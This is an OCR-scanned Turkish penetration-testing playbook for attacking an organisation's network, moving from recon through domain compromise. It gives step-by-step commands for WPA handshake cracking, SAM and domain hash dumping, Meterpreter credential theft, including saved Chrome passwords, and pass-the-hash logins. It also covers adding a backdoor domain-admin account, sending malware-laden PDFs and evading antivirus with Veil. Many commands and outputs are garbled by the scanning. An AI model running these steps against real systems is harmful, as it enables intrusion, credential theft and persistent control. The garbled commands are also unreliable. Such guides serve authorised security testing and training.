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Dis Ag Guvenlik Testleri
DNS

Dnsenum kurum.com komutuyla ns, mx, ve zone transfer bilgileri tek komutla toplanabilir.
Dnsmap kurum.com komutuyla ns,mx,mail ve subdomain bilgileri toplanir.
Her bir adimi ayri ayri asagidaki komutlarla da yapabilirsiniz.

DNS Sunucunun belirlenmesi
Dig ns kurum.com

Nslookup -type=ns kurum.com

Zone Transferi Testleri
Linux ve kali de Dig axfr @kurumdns.com

Windows nslookup
server kurumdnsip
set type=any

Is -d kurumdns

DNS Subdomain Tespiti
Theharvester araci kullanilarak kuruma ait ns,eposta, subdomain bilgileri toplanir.

Theharvester -d domainadi -b all

Dnsspider araci kullanarak dns subdomainlere kaba kuvvet saldirisi yapabilirsiniz.

Kurum IP Bloklarinin Tespiti
https://www.ripe.net/ sitesinden kuruma ait herhangi bir ip adresini girip blok tespit edilir.

Ornegin nslookup yaparak kurumun domain adresini yazarak, kuruma ait ip adresi tespit edilir. Daha
sonra ripe.net adresinde “search ip adress” bélimiine bu ip adresi yazilarak tim ip adres aralig
bulunur.

Kurum Whois Bilgisi Tespiti
kali de “whois kurumadi.com” komutuyla kurum whois kaydi bilgisi alinir.

Kuruma ait tiim bilgi toplama islemini asagidaki araglarla toplayabilirsiniz.

sniper, recon-ng
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E-Posta Testleri

E-Posta Baslik Analizi
Kurumdan gelen e-posta basliklari alinarak mxtoolbox sitesinde bulunan header analyzer kullanilir.

Mxtoolbox header analyzer kullanilarak kurumun e-posta trafigi incelenir, ic ip bilgileri sizdirihyor ise
bu bilgi not edilir.

Sahte E-Posta Erisim testleri
kurumun kendi alan adindan mail alip almadigi test edilir.

telnet kurummxkaydi 25
ehlo

mail from: test@kurum.com

rcpt to: test@kurum.com

Relay testi:
telnet kurummxkaydi 25
ehlo

mail from: test@test.com

rcpt to: test@test.com.tr

relay denied gelmiyorsa relay agiktir.

E-Posta Sunucu Zayiflik testleri
e-posta sunucusunun versiyonu tespit edilir. Versiyon da zafiyet olup olmadigi nessus ile tespit edilir.

Kali de kurdugumuz postfix tizerinden yogun spam mail génderimi yapilir.
Kalide kurdugumuz postfix Gzerinden zararl exe iceren pdf dosyasi gonderilir

Blylik dosyalar génderilir.

E-Posta hesaplari sifre testleri
Kurum smtp sunucusunda pop3 (110,995), IMAP (143,993), http(s) (80,443) portlarin acgik olup
olmadigi tespit edilir.

Sayet pop3 veya imap portlari acgik ise hydra ile kaba kuvvet saldirilari diizenlenir.
Exchange owa i¢in metasploit de “owa_login” moduli kullanilir.

Diger web login icin burpsuite veya zapproxy kullanilir.

Hydra, burpsuite veya zapproxy ile kaba kuvvet testleri yapilir.

Sifre Gretmek icin cupp veya crunch araci kullanilabilir.
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E-Posta Sunucu Zararli yazilim testleri
Setoolkit ile pdf zararli yazilim olusturulur ve kurumun test eposta adresine gonderilir.

Blacklist Kontrolleri
Mxtoolbox sitesinde bulunan blacklist kontroli yapilir.

internete acik sistemlerin Haritalanmasi

internete acik servislerin tespit edilmesi
Nmap veya nessus taramasi ile bu islem gergeklestirilir.

Servislerin Zayifliklarinin testleri
Nmap ve nessus taramasi ile gergeklestirilir.

Servislere Sifre testleri
Hydra, metasploit, burpsuite veya zapproxy ile kaba kuvvet testleri gerceklestirilir.

Kurum Calisanlarinin tespiti
Linkedin veya kurum web sayfasindan tespit edilebilir.

Kurum Web sitesi ve Uygulama Testleri
Kurumun internete agik siteleri asagidaki araglarla tarama islemi gergeklestirebilirsiniz.

Acunetix, Dirb, wfuzz, Arachni, Nikto, commix, sqlmap, Fimap, Brutex, davtest, wpsscan (sayfa
wordpress ise)
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Ic Ag Glvenlik Testleri

ic Ag Bilgi Toplama:

Domain Controller ve DNS sunucu tespiti:

Kurum agina baglanir baglanmaz ilk yapilacak islem kurumun dns sunucusu tespit edilir. Kurumda
Microsoft domain altyapisi var ise, domain sunucunun Gzerine dns roliiniin kurulmasi zorunlu oldugu
icin tespit ettiginiz dns sunucusu ayni zamanda domain sunuculardan biri olacaktir.

Nslookup komutu kullanildiginda dns sunucu size yanit verecektir.

Networkteki sistemlerin tespit edilmesi.
Nmap ile varliklarin hangi isletim sistemi tUzerinde galistigi, uygulama ve uygulamanin versiyon bilgisi,
hangi servislerin ¢alistig, hangi portlarin acik oldugu gibi bircok bilgiyi tespit edilir.

Tespit edilen sistem ve cihazlarin rolleri.
Nmap ile port ve servis bilgisinden hangi role sahip oldugu tespit edilebilir.

Metasploit ile Microsoft sistemleri icin asagidaki adimlar kullanilir.
Metasploit acilir (msfconsole)

use auxiliary/scanner/smb/smb_version modiili ile iceride smb portu tizerinden Microsoft sunucu
ve bilgisayarlarin hangi isletim sistemi kullandigi, hangi domain veya ¢alisma grubuna bagh olup
olmadigi tespit edilir.

Kablosuz Ag Testi:
Kablosuz ag cihazi kaliye baglanir,

iwconfig komutuyla kablosuz ag donanimi kontrol edilir.
airmon-ng start wlan0 komutu kullanilarak monitér moda alinir.
Acik olan servisler kill komutuyla kapatilir.

airodump-ng wlanOmon komutuyla kablosuz ag cihazlarinin ssid, sifreleme tird, kablosuz aga bagl
istemciler tespit edilir.

CH 6 ][ Elapsed: 5 mins ][ 2018-82-12 ©06:51

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:03:61:B8:A0:72 -60 420 (o] ] 1 48e. WPAZ CCMP PSK CSU_Guest
00:02:61:B8:A0:72 -72 415 82 2] 1 48e. WPAZ CCMP PSK CsU WIFI
BSSID STATIOMN PWR Rate Lost Frames Probe

(not associated) 84:38:38:EF:30:F4 -57 o - 1 ] 10 VAMT , VAMS , smt
00:02:61:B8:A0:72 90:FD:61:17:F6:93 -54 o -24 (2] 39
00:02:61:B8:A0:T72 98:E7:F4:FB:39:D2 -55 o -24 2] 3
00:92:61:B8:A0:72 S5C:E®@:C5:B1:51:2F -56 8@ - 5e (o] 37
00:02:61:B8:A0:72 T4:2F:68:B0:58:9E -58 o - 1 2] 13
00:02:61:B8:A0:T72 24:F0:94:83:CD:6C -58 a -24 2] 42
00:02:61:B8:A0:72 F4:0F:24:20:35:84 -65 o -24e 44 4
00:02:61:B8:A0:T72 B8:53:AC:3D: A6: B8 -78 o -24 2] 36 CSU_WIFI




Hangi wifi agl hedef alinacaksa o wifi agina ait bssid yazilarak trafik dump edilir.

airodump-ng --bssid 00:02:61:b8:a0:72 -w /root/Desktop/csu_wifi wlanOmon

CH 10 ][ Elapsed: 5 mins ][ 2018-92-12 07:04

BSSID PWR. Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
PD:P2:61:B8:A0:T72 -56 201 61 ] 1 48e. WPAZ CCMP PSK CSU_WIFI
BSSID STATIOM PWR. Rate Lost Frames Probe
OD:02:61:B8:A0:72 30:5A:3A:B6:37:F2 -32 0 - le ] 1
00:P2:61:B8:A0:72 B84:38:38:EF:30:F4 -51 0 -24 [¢] 12
PD:02:61:B8:A0:72 90:FD:61:17:F6:93 -55 0 -24 ] 31
PD:P2:61:B8:A0:72 24:F0D:94:83:CD:6C -56 0 -24 ] 23
0D:02:61:B8:A0:72 ©C:8B:FD:4B:9E:11 -57 2e-54e ] 31
PP:P2:61:B8:AB:72 S5C:E0:C5:B1:51:2F -58 8 - 2e [¢] 30
PD:02:61:B8:A0:72 AB0:32:99:E5:39:D9 -66 o - 1 27 48
PD:P2:61:B8:A0:72 BB:53:AC:3D:A6:B8 -69 0 -24 ] 37
OD:02:61:B8:A0:72 74:2F:68:B0:58:9E -52 0 -1 ] 11

Daha sonra deauthentication paketi génderilerek hedef kisinin kablosuz agdan dislip tekrar
baglanmasi saglanir.

aireplay-ng -a 00:02:61:b8:20:72 wlanOmon -0 0 -c 0C:8B:FD:4B:9E:11
Sifrenin kirllmasi:

Deauthentication paketi sonrasi client tekrar baglandiginda aerodump-ng ekraninda “wpa
handshake” bilgisi gelir. Bu bilgi handshake paketinin yakalandigini gésterir. Dump islemi durdurulup
daha sonra dump edilen cap dosyasina kaba kuvvet saldirisi denenir.

aircrack-ng /root/Desktop/csu_wifi-01.cap -w /root/Desktop/rockyou.txt

Zayiflik Tarama
Tespit edilen servis ve sistemlerin zayifliklara karsi test edilmesi

Nessus kullanilarak zafiyet taramasi yapilir.

Nessus lGzerinden tespit edilen zafiyetler metasploit veya core impact kullanilarak sistem de hak elde
edilmeye calisilir.

Sizma

Domain kullanici elde etme:

Sizma testlerinde en 6nemli baslklardan bir tanesi domain kullanicisinin elde edilmesi. Sayet bir
domain kullanicisi elde edildigi takdirde, tim domain kullanicilarinin domain controller da okuma
hakkina sahip oldugu icin, Ad Explorer araci ile tim domain yapisi gérintdlenir.

Yontem 1: Bu islem icin cain & Abel kullanilir. Ag da bulunan kullanicilar ile gateway arasina girilerek
tim ag trafiginin sizin (zerinizden gitmesi saglanir. Boylelikle domain kullanicilarinin domain
controllera veya e-posta sunucusuna oturum a¢ma sirasinda ag da gidecek kullanici adi ve sifreler agik
veya hashli olarak elde edilebilecektir.

Yontem2: Domain kullanicisi elde etmenin diger yontemi ise yazicillarda tanimlanmis e-posta
gonderimi icin izin verilen kullanicilar olabilir. Yazici konfiglirasyonuna erisim saglanarak tanimli
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herhangi bir kullanici olup olmadigi kontrol edilir. Sifresi gizli olarak tanimh kullanicilar igin kendi
sunucunuza kurabileceginiz Idap servisi sayesinde sifre acik olarak eldeedilebilir. Bunun icin printerdaki
konfiglirasyonda Idap sunucusu olarak kendi makinenizi tanimlamaniz halinde, printer Idap testi icin
sizin sunucuya baglanacak ve sifreyi size génderecektir.

Yontem 3: herkese agik paylasimlar. Anoumous olarak agilan paylasim klasérlerinde tanimli kullanici
adi ve sifreler tespit edilmeye calisilir. Bunun icin metasploit de bulunan asagidaki moddl kullanilir.

use auxiliary/scanner/smb/smb_enumshares
set SpiderShares true komutuyla paylasimin alt klasorlerine erisim saglanir.
Set showfiles true komutuyla hangi dosyalarin olup olmadigi tespit edilir.

Yontem 4: Domain kullanicilarina kaba kuvvet saldirisi yapilarak zayif parola kullanan kullanicilar tespit
edilir. Bunun i¢in metasploit de bulunan asagidaki modul kullanihr.

use auxiliary/scanner/smb/smb_login

Domain kullanicisi elde edildikten sonra Ad Explorer agilir ve domain kontroller ip adresi, kullanici adi
ve sifre ile tiim domain yapisi tespit edilir.

Domain kullanicilan, aktif dizin de bulunan sysvol dosyasini okuma hakkina sahiptirler. Sysyvol
dosyasinin altinda taniml group policylere erisim saglanabilir.

use auxiliary/scanner/smb/smb_enum_gpp modili ile domain de kullanilan grup policylerde kayith
kullanici adi ve sifreler var ise onlar tespit edilir.

Domain sifre politikasinin kontrolii:

Sayet bir domain kullanicisinin prosesine migrate ettiyseniz, asagidaki komut kullanilarak domain deki
sifre politikasi kontrol edilir.

Net accounts /domain

Kullanicr Bilgisayarini Test Etme:
Kurumdan domainde bulunan personele verilen bir bilgisayar istenir.

BIOS ayarlarlari kontrol edilerek, bios a sife konmus mu kontrol edilir. BIOS dan icerisinde bootable
kali olan usb ile bilgisayar boot edilir.

Asagidaki bkhive ve samdump?2 komutlari calistirilarak lokal hashler alinir.

Windows partition olarak /dev/sdal olarak gelen bir kali makinada asagidaki komutlar ¢alistirilir.

# mkdir -p /mnt/sdal

# mount /dev/sdal /mnt/sdal

# bkhive /mnt/sdal/Windows/System32/config/SYSTEM /tmp/saved-syskey.txt

# samdump2 /mnt/sdal/Windows/System32/config/SAM /tmp/saved-syskey.txt > /tmp/hashes.txt

Hashler alindiktan sonra hashler kullanilarak smb_login denemesi yapllir.



Kaba Kuvvet Saldirilariyla Servislere Varsayilan Kullanici Adi ve Sifre Denemesi Yapmak:

Nmap ile agik olan port ve servisleri tespit ettikten sonra asagidaki servislere varsayilan kullanici adi
ve sifrelerle kaba kuvvet saldirisi diizenlenir. Varsayilan kullanici adi ve sifre listesine
https://github.com/danielmiessler/SecLists/tree/master/Passwords adresinden erisebilirsiniz. Saldir
icin hydra, Patator, burp, zapproxy veya metasploit moddilleri kullanilabilir.

Telnet:
Ssh:
Pop3:
Imap:
ftp:
mysql:
mssq|l:
oracle:

http(s):

Sistemde hak elde etme:
Zafiyet kullanilarak sistemde hak elde edildikten sonra asagidaki adimlar uygulanir

i.  Sysinfo (hak elde ettigin sunucu bilgisi)
ii.  Getuid (sunucuya hangi hak ile baglandiginiz)
iii. Ps (calisan prosesler)
iv. Load kiwi (kiwi moddlind yikler)
v.  Creds_all (ram deki sifreleri acik olarak alir)

Vi. Hashdump (lokal kullanici hashlerini alir)
vii. Run post/Windows/gather/enum.. (cift tab yaparak birgok post moduli kullanabilirsiniz)
viii. Run post /Windows/gather/credential.. (cift tab yaparak birgok modiil kullanilabilir)

ix.  Sql calisiyor ise post modiillerden sql_hashdump modili kullanihr
Xx.  Chrome prosesi agik ise post modillerden chrome da kayitl sifreler acik olarak alinir.

Elde edilen hash,kullanici ve sifre bilgileri ile asagidaki modul kullanilir.
use auxiliary/scanner/smb/smb_login

elde ettiginiz hesap bilgileri domain hesabi ise domain bilgisi verilerek hangi sunucularda oturum
acabildigi bilgisi alinir. Sadece lokal hash bilgisi veya hesap bilgileri alindi ise, lokal hash bilgileri ile
baska nerde kullanildigi tespit edilir.

Sayet hicbir yerde oturum agamadi ise, elde edilen acik sifreler ile elde ettiginiz kullanicilar ile domain
admin veya lokal yonetici hesabi icin kaba kuvvet saldirisi diizenlenir.

Elde edilen hash veya kullanici adi ve sifre bilgisi ile smb_login moduliinden basarili sonug alindi ise,
asagidaki modul kullanilarak ilgili sunucuda meterpreter acilir.


https://github.com/danielmiessler/SecLists/tree/master/Passwords
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use exploit/windows/smb/psexec
Sistemde Kalici Olma:

Elde ettiginiz sunucu sayet domainde bulunan sunuculardan biri ise, ps komutu kullanilarak domain
kullanicisinin oturumu kontrol edilir. ilgili domain hesabina migrate edilir.

Post modiiller kullanilarak enum_domain_computers bilgisi elde edilir.

Shell komut satirina gecilerek asagidaki komutlar kullanilir.

Net users /domain (domain de bulunan tiim kullanici bilgisi elde edilir.)

Net group “domain admins” /domain (Domain admin kullanicilarinin bilgisi elde edilir)

Net group “Organization Management” /domain (Exchange yoneticilerinin bilgisi elde edilir)

Sayet calisan prosess de ki kullanici yetkili hesap ise, asagidaki komut kullanilarak domain de hesap
actlir ve kalici hale gelir.

Net user giivenlik_test sifre /add /domain
Net group “domain admins” giivenlik_test” /add /domain

Kurum ortaminda sayet Microsoft Exchange var ise asagidaki komut kullanilarak Exchange
sunucusunda yonetici olunur.

Net group “Organization Management” giivenlik_test /add /domain

Domain Sunucusunu Elde Etme:

Domain admin kullanicisi elde ettiyseniz veya kullanici hesabinizi domain admin grubuna ekledi
iseniz, veya domain sunucusunda zafiyet tespit ettiniz ve zafiyeti somiirerek sunucuda hak elde etti
iseniz, ilk yapmaniz gereken islem domain de bulunan tim kullanicilarin hash bilgisini almak olacaktir.

Psexec modiill kullanilarak ilgili sunucuda meterpreter baglantisi saglanir.

Run post/windows/gather/credentials/domain_hashdump moduili kullanilarak tiim domain
kullanicilarinin hashi alinir.

Hashlerin Kirilmasi:

Elde edilen hashler bir excel tablosunda toplanir. Excel de metni sutuna dénistiir menisi ile “:” dan
sonraki her metni siitiin olarak ayirir. Ozet tablo olusturularak benzer hashlerin listesi cikartilir. En
cok kullanilan hash bilgisinden baslayarak tiim hashler hashcat ile kirilir.

E-posta Sisteminin Yonetimi:

Elde ettiginiz hesap “organization management” grup lyesi veya olusturdugunuz hesabi organization
management grubuna ekledi iseniz, Exchange sunucuya rdp erisimi var ise rdp baglanti saglanir.

Exchange management Shell kullanilarak asagidaki komutlar calistirilir.

Get-mailbox -resultsize:unlimited | ft Displayname, primar*smtp* komutu kullanilarak kuruma ait
tiim e-posta adreslerinin listesi alinir.
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Kullanilan Exchange sunucu versiyonu 2010 ise Exchange console kullanilarak istenilen e-posta
hesabl, gruplar, veritabanlari, tarcking loglar goriintilenebilir.

Kullanilan exhcnage sunucu verisyonu 2013 veya 2016 ise, https://localhost/ecp ile exchange
yonetim paneline oturum acilabilir.

Sayet rdp erisimi yok ise, https://exchangesunucuip/ecp adresinden erisim saglanabilir.

AntivirUs Atlatma:

Pth-winexe:

Lokal kullanici ve hash elde ettiniz ve smb_login ile birden ¢ok sunucuda oturum acabildiginizi tespit
ettiniz. Fakat psexec ile meterpreter agamiyorsunuz, bu durumda ya hash’i kiracaksiniz karsi tarafta
rdp yapacaksiniz veya pth-winexe aracini kullanarak hash ile karsi sunucuda oturum agacaksiniz.

Toot@kali: # pth-winexe
winexe version 1.1
This program may be freely redistributed under the terms of the GNU GPLV3
Usage: winexe [OPTION]... //HOST COMMAND
options:
-h, --help Display help message
-V, --version Display version number
-U, --user=[DOMAIN/]USERNAME[%PASSWORD] Set the network username
-A, --authentication-file=FILE Get the credentials from a file
-N, --no-pass Do not ask for a password
-k, --kerberos=STRING Use Kerberos, -k [yes|no]
-d, --debuglevel=DEBUGLEVEL Set debug level
--uninstall Uninstall winexe service after remote execution
--reinstall Reinstall winexe service before remote execution
--system Use SYSTEM account
--profile Load user profile
--convert Try to convert characters between local and remote code-pages
- - runas=[ DOMAIN\ ] USERNAMES:PASSWORD Run as the given user (BEWARE: this password is sent in cleartext over the network!)
--runas- file=FILE Run as user options defined in a file
--interactive=o|1 Desktop interaction: © - disallow, 1 - allow. If allow, also use the --system switch (Windows requirement). Vista does not support this option
--ostype=0|1|2 05 type: 0 - 32-bit, 1 - 64-bit, 2 - winexe will decide. Determines which version (32-bit or 64-bit) of service will be installed

2d NTLM HAS

Karsi tarafta cmd ile baglanti actiktan sonra isterseniz kullanici agip rdp yapabilirsiniz.
Diger bir yontem ise xfreerdp aracini kullanmak.

Kali de apt-get install freerdp-x11 komutuyla araci kurabilirsiniz.

win2B12 /pth:8846f7cacaB8fbll7
connected to

FreeRDP: 192.168.2.102

Administrator: Command Prompt

icrosoft Windows [Uersion 6.3.960081
{c>» 2013 Microsoft Corporation. All rights reserved.

ssMindowsssysten32ripconfig

Jindows IFP Configuration

Ethernet adapter Ethernet@:

Connection—specific DHE Suwffix H

Link—local IPve Address . - feBB@::d49c:5746:4338:-6128:12
- 192 _168.2.182

Subnet Mas W e e e e e e . 255.255.255.8

Default Gatew W e e e e e e . 192.168.2.77

unnel adapter isatap.{46F858CB-F72F—4D?B-BD48-A477CA1B4619>:

Media State . . . . . . . . . . . & Media disconnected
Connection—specific DNS Suffix H

xUWindowsssystemn32>
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Veil-Framework
Antiviris atlatma yontemlerinden birisi de Veil aracini kullanarak payload olusturmaktir.

Pentest de kullanilan araclar:

Nmap:

Varliklarin hangi isletim sistemi Uzerinde ¢alistigl, uygulama ve uygulamanin versiyon bilgisi, hangi
servislerin ¢alistigl, hangi portlarin acik oldugu gibi ve daha bircok bilgiyi tespit etmeye calisilir. Tespit
edilen bu bilgilerin daha sonra ne tiir zaafiyetler barindirdigina bakilir. Tim bu islemleri yapmak icin en
yaygin olarak kullanilan arag nmap aracidir.

Nmap bir ¢ok platformda galisabilir. Biz ptf altyapisinda galisti§imiz igin testlerimizi bu ortamda
gercgeklestirecegiz.

En basit kullanimi ile nmap <Hedef IP> komutunu kullanabiliriz.

Nmap farkli tarama yéntemi ve her tarama yontemi icin farkh secenekler sunmaktadir. Farkli tarama
yontemi ve secenekleri bilmeniz sizin hedef hakkinda daha hizli ve kapsamli bilgi sahibi olmanizi
saglayacaktir.

Nmap’in farkl tarama yontemi ve segeneklerine gegmeden 6nce nmap’in ¢alisma mantigini incleyelim.

Nmap komutunu herhangi bir secenek vermeden calistiririsaniz, hedef IP’yi taramaya baslarken ilk
basta ICMP ECHO ve TCP ACK bayragini géndererek hedef IP’yi pingler (Nmap’in ping mantig).
Boylelikle hedef IP’de ki varligin acik olup olmadigina bakar. Ping yanitini alamazsa taramayi durdurur.

Standart taramadan birkag¢ 6rnek verelim.
nmap 192.168.152.135 #Tek bir IP adresi icin tarama yapilacagini belirtir

nmap 192.168.152.135-150  # 192.168.152.135 ve 192.168.152.150 adres araliginda ki tim IP
adreslerini tarar.

nmap -IL iplistesi.txt # iplistesi.txt dosyasi icerisinde ki IP adreslerini tarar

Basit bir tarama ciktisina bakalim. 192.168.1.216 makinasinin acik oldugunu ve 1000 portunu
taradigini, 997 portun filtered oldugunu, acik olan portlarda da hangi servislerin acgik oldugunu tespit
etti.

root@kali:~# nmap 192.168.1.216

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-13 ©3:01 EST
Mmap scan report for DESKTOP-6T20TST (192.168.1.216)

Host is up (0.00080s latency).

Mot shown: 997 filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: F0:03:8C:0A:53:75 (AzureWave Technology)

Nmap done: 1 IP address (1 host up) scanned in 18.79 seconds
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Simdi de daha kapsamli tarama sekline bakalim.

nmap <tarama tiirii> <segenekler> <hedef>

Tarama tiirine gecmeden 6nce bayraklar ve 3’li el sikismadan bahsedelim.
SYN = Senkronize mesaji (Synchronize)

ACK = Alind1 Mesaji (Acknowledgement)

RST = Baglanti iptali(Reset)

FIN = Bitirme mesaji (Fnish)

3’lii el sikisma:

e

//,_;EW
W

Hedef ile kullanici arasinda tam bir baglanti saglanir. Karsilikli gdnderilen paketlerle baglanti saglanir
ve baglanti kayit altina alinir.

Kullanici, baglanti kurmak istedigi hedefe TCP SYN mesaji gonderir. Hedef deki bilgisayar, kullaniciya
TCP SYN/ACK mesaji doner, kullanici tekrar ACK mesaji doner. Hedef baglanti istegini kabul eder ve ACK
"TCP connection is ESTABLISHED" mesaji génderir. Bu isleme 3’lU el sikisma denir.

Tarama trleri:

Ping taramasi: Tum Sistemlere Ping atarak yanit veren sistemlerin acgik olup olmadigini denetler, bir
nevi sunucu ve istemcileri tespit eder

nmap -sP 192.168.152.0/24

TCP SYN Taramasi: Varsayilan tarama tlridir.Tarama islemi, gonderilen SYN paketine gelen cevaba
gore gerceklesir. Gonderilen SYN paketine karsilik alinan paket RST+ACK ise port kapalidir ve tarama
bir sonra ki port ile devam eder. Eger alinan paket SYN+ACK ise portun acik oldugu anlasilir ve bir RST
paketi gonderilerek iletisim kurulmadan tarama islemi tamamlanir. Amac¢ 3’l0 el sikisma
tamamlanmamasi ve hedef sistemde kayit altina alinmamasidir.

nmap -sS 192.168.152.0/24

TCP Connect Scan: Bu taramada 3’l{ el sikisma islemi gerceklesir ve tarama kayit altina alinir. SYN Scan
tekniginin tersine eger SYN paketlerine karsilik SYN+ACK geliyorsa ACK paketi gonderir ve port tarama
tamamlanir.

nmap -sT 192.168.152.0/24

UDP Taramasi: UDP portlarinin durumunu analiz etmek icin kullanilan bu yontemde tarama gonderilen
UDP paketlerinin durumuna gore gerceklesir. ICMP Port Unreachable ise port kapalidir, eger gelen
cevap yine UDP paketi ise port aciktir.



nmap -sU 192.168.152.0/24

NULL - FIN - XMAS Scan: 3 tarama tiri de kismi benzerlik gostermektedir. Gonderilen paketlere cevap
olarak RST+ACK gonderiliyorsa port kapali, ICMP Port Unreachable gonderiliyorsa port filtreli, hic bir
sey gonderilmiyorsa port aciktir.

NULL Scan (izerinden gonderilen paketler her hangi bir bayraga sahip degildir (her hangi bir teknik
uygulanmaz).

nmap -sN 192.168.152.133

FIN Scan (izerinden gdnderilen paketler FIN bayragina sahiptirler (kendi teknigini uygular).
nmap -sF 192.168.152.133

XMAS Scan lizerinden gonderilen paketler, farkl bayraklara sahip olabilir.

nmap -sX 192.168.152.133

Tarama tiirlerini 6grendikten sonra simdide segeneklere bakalim.

-Pn : Host discovery yapilmaz, bitin hostlar ayakta varsayilir.

-p : port veya port araliklarini belirtmek i¢in kullanihr. -p22; -p1-65535

-0 : TCP/IP davranislarindan yola cikarak isletim sistemini belirleyecek parametredir.

-sV : Hedef sistemlerin servislerinin versiyonlarini tespit etmede kullanilir.

-T[1-5] : Birim zamanda gonderilecek paket hiz seviyesini belirlemek icin kullanilan parametredir. 5 en
ylksek seviyeyi 1 ise en diistk seviyeyi belirtir.

-F: Fast mode, varsayilan taramalarda belirlenen portlardan biraz daha azi kullantlir.
-r : Portlari sirayla tarar. Rastgele tarama kullaniimaz.

—top-ports <sayI> : <sayi> ile belirtilen ortak portlari taranir.

-S : Kaynak IP yi belirlemek amaciyla kullanilir.

-n/-R : Asla DNS Coziimlemesi yapilmaz/Herzaman DNS ¢ozimlemesi yapilir
—dns-servers <servl[,serv2],...> : Ozel DNS serverleri belirtmek icin kullanilir.
—system-dns : isletim sistemine ait DNS ¢dziimleyici kullanilir.

—traceroute : Traceroute 6zelligini aktif hale getirir.

-open : Sadece acik portlari gériintiilememizi saglar.

—packet-trace : Alinan ve génderilen tiim paketleri goriintilemek icin kullanilir.
nmap [hedef_IP] > tarama.txt : Yapilan taramanin txt formatinda kaydetmemizi saglar.
--script : script secenekleri icin kullaniliri. —script=<script adi>

-A: En sik kullanilan scriptleri ¢alistirir.

Orneklerle anlatilanlari pekistirelim:



nmap —sS -F 192.168.152.133

nmap —sS —p80 192.168.152.133

nmap —sS—p1-100 192.168.152.133

nmap —sS—p1,100,102 192.168.152.133
nmap —sS —top-ports <10>192.168.152.133
nmap —sS —p- 192.168.152.133

nmap —sS—p U:53,T:22 192.168.152.133
nmap -sS -sV 192168.152.133

nmap -sS-0192.168.152.133

# En yaygin 100 portu tara

# 80 portunu tara

# 1ile 100 arasinda ki portlari tara

# 1,100 ve 02. portlari tara

# En sik kullanilan 10 adet portu tarar
# 65535 adet portun tamamini tarar
# UDP 53 ve TCP 22. portu tarar
#Servis bilgisini tara

#isletim sistemini tespit et

nmap 192.168.152.0/24 --exclude 192.168.152.2,192.168.152.3 #sondaki iki ip’yi tarama

nmap -sS -A 192.168.152.133

nmap —sS —oN tarama.txt 192.168.152.133
nmap —sS —oX tarama.xml 192.168.152.133
nmap —sS —oA tarama 192.168.152.133

nmap -D 192.168.1.10 192.168.152.133

nmap —script vuln 192.168.152.0/24

#En sik kullanilan scriptlerle tara

# TXT biciminde, normal NMAP ciktisi verir
# XML biciminde bir ¢ikti Gretir

# TUm bicimlerde cikti verir

# Tarmayr 192.168.1.10 Ipsinden yapiyormus gibi
gosterir(spofing)

# Hedef sistem Uzerindeki zaafiyetleri test edecek

nmap —script=ftp-brute —p 21 192.168.152.133 # Hedef makinanin 21. portuna kaba kuvvet saldirisi

nmap --script=all 192.168.152.133

yapacak

# NMAP iceriginde ki tim scriptleri calistiracaktir.



Nessus:
Nessus zafiyet tarama aracidir.

Tenable’in ilgili adresine kayit yapilip evaluation Grini indirilir.
https://www.tenable.com/products/nessus/nessus-professional/evaluate

Hangi platformda kullanilacak ise ona gore ilgili dosya indirilir ve kurulumu gergeklestirilir.

Kurulum sonrasi https://localhost:8834 adresinden erisim saglanir.

hrtps/S/localhostS834,/%#,/

Nessus€Pp

Kurulum gerceklestirdikten ve oturum agildiktan sonra “new scan” ve “basic scan”segenegi ile yeni bir
tarama islem baslatilir.

New Scan / Basic Network Scan
¢« Back to Scan Templates
Settings Credentials
BASIC ~
Mame tarama ad||
General
Schedule o
Description
Notifications
DISCOVERY
ASSESSMENT Folder My Scans -
REPORT
Targets 192.168.1.216
ADVANCED



https://www.tenable.com/products/nessus/nessus-professional/evaluate
https://localhost:8834/

Tarama sonrasi zafiyetler listelenir ve ilgili zafiyet metasploit veya core impact ile test edilir.

Description

The remote Windows host is affected by the following vulnerabilities

- Multiple remote code excution vulnerabilities exist in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain requests. An
unauthenticated, remote attacker can exploit these vulnerabilities, via a specially crafted packet, to execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

- An information disclosure vulnerability exists in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain requests. An
unauthenticated, remote attacker can exploit this, via a specially crafted packet. to disclose sensitive information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by 2 group known as the Shadow Brokers. WannaCry / WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit, and
EternalRocks is a worm that utilizes seven Equation Group vulnerabilities. Petya is a ransomware program that first utiizes CVE-2017-0199, a vulnerability in
Microsoft Office, and then spreads via ETERNALBLUE.

Solution
Microsoft has relessed a set of patches for Windows Vista, 2008, 7. 2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also released emergency
patches for Windows operating systems that are no longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Micresoft recommends that users discontinue the use of SMBv1. SMBv1 lacks security
Heatures that were included in later SME versions. SMB1 can be disabled by following the vendor instructions provided in Microsoft K32696547.
Additionally, US-CERT recommends that users block SMEB directly by blocking TCP port 445 on all network boundary devices, For SMB over the NetBIOS API,
block TCP ports 137 / 139 and UDP ports 137 / 138 on all network boundary devices.

See Also

https://technet microsoft.com/library/security/M$17-010
httpi//wyww.nessus.org/u?321523eb
http://www.nesss.org/u?Tbec1941
hitp:/fwww. nessus.org/u2dofS609ck
https://blogs.technetmicrosoft.c

hitps: rosoft.c b
http:/fwww.nessus.org/u?8dcabSed
http://www.nesss.0rg/u?36/d3072
http://www.nessus.org/u?4c7e0ct3
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EEEZE  MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALR...

Plugin Detals

Critical

7833
Version: $Revision: 1.14 §
Type: remote
Family Windows
published: March 20,2017
Modified: September 7, 2017

Risk Information

Risk Facter: Critical

CVSS Base Score: 10.0

CVSS Temporal Score: 9.5

CVSS Vector: CVSS2RAVIN/ACL/AUN/CIC/C/AC
€VSS Temporal Vector: CVSS2#E:F/RLU/RCND
